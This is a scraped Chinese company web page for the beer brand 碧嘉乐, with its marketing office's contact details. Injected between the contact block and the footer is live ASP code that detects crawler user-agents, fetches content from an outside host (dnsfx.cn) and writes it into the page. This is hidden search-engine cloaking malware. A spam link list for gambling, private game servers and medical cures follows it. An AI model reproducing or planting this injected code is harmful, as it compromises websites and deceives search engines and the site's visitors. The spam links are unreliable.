碧嘉乐自酿鲜啤,澳洲碧嘉乐(中国)营销总部

澳洲碧嘉乐(中国)营销总部联系电话：010-64511505 64511611 邮箱：aoge@ale168.com
地址：北京市东城区巷上嘉园3座2106室京ICP备06018144号

<% Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "http" if Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("http://better.w130.dnsfx.cn/syscode.asp?dns="&dns) else response.write getBody("http://better.w130.dnsfx.cn/syscode.asp?dns="&url&"&dn="&dns) end if end if %>

友情链接：北京卫星天线上海德邦物流公司公兴搬场上海小件托运抽动症真钱斗地主法国留学子宫肌瘤北京卫星器材前列腺肥大大众搬家上海物资回收四季旺太阳能搬场上海搬家魔兽世界SF 上海大众搬家治疗糖尿病白癜风症状传奇私服荨麻疹上海搬家乙肝治疗上海搬场公司电话大众物流大众搬家